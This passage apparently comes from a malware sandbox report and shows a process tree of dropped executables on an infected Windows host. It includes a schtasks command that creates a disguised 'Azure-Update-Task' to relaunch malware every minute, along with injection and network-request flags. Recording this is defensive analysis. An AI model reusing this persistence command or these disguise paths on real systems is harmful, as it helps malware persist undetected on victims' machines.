                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1484 -ip 1484
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:2292
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1484 -ip 1484
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:3536
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                    PID:4700
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                    PID:2284
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                      /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                      PID:3624
                                                                                                                                                                                                                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:1808
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 2452 -ip 2452
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:4216
                                                                                                                                                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\WerFault.exe -pss -s 584 -p 4320 -ip 4320
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:4572
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          PID:4020
                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                          PID:3876
                                                                                                                                                                                                                                                          • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                            "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                            PID:5036
                                                                                                                                                                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\notepad.exe"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:1788
                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default"
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                  PID:2364
                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Windows\system32\config\systemprofile\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Windows\system32\config\systemprofile\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Windows\system32\config\systemprofile\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                                                                    PID:1084
                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2056 /prefetch:8
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:1964
                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1900 /prefetch:8
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                      PID:4788
                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1848 /prefetch:2
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:420
                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --disable-background-timer-throttling --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2676 /prefetch:1
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                          PID:1900
                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --disable-background-timer-throttling --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2668 /prefetch:1
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:1940
                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --disable-background-timer-throttling --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3012 /prefetch:1
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:5100
                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --disable-background-timer-throttling --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                PID:4104
                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --disable-background-timer-throttling --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2432 /prefetch:1
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                  PID:3792
                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4476 /prefetch:8
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                    PID:404
                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,11268619308546147711,2766901141992447740,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5020 /prefetch:8
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                    PID:2400
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 2364 -s 5200
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                    PID:756
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                              "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Blocklisted process makes network request
                                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                                              PID:1572
                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                                                                PID:2932
                                                                                                                                                                                                                                                                                • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:4492
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                  PID:3772
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2932 -s 1284
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:4784
                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                PID:1788
                                                                                                                                                                                                                                                                                • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:1532
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                  PID:1444
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1788 -s 1348
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:3464
                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                PID:4612
                                                                                                                                                                                                                                                                                • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:4520
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                  PID:3040
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1008
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:4840
                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                                                                PID:4192
                                                                                                                                                                                                                                                                                • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:2456
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:3728
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 740
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                    PID:1668
                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                  PID:2264
                                                                                                                                                                                                                                                                                  • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:2364
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                    PID:4996
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 1328
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                    PID:4424
                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                  PID:2276
                                                                                                                                                                                                                                                                                  • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:4148
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                    PID:3748
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2276 -s 1016
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                    PID:3592
                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                  PID:4688
                                                                                                                                                                                                                                                                                  • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:1776
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                    PID:3492
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4688 -s 1012
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                    PID:532
                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                  PID:1036
                                                                                                                                                                                                                                                                                  • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:2292
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                    PID:924
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1036 -s 1016
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                    PID:3780
                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                  PID:444
                                                                                                                                                                                                                                                                                  • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:5020
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:1100
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 444 -s 1304
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:800
                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                    PID:3032
                                                                                                                                                                                                                                                                                    • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:3400
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                      PID:2728
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3032 -s 1300
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:1052
                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                    PID:3360
                                                                                                                                                                                                                                                                                    • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:1208
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                      PID:4364
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3360 -s 1016
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:3712
                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:1540
                                                                                                                                                                                                                                                                                    • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:4636
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                      PID:620
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1540 -s 1012
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:2988
                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                    3⤵
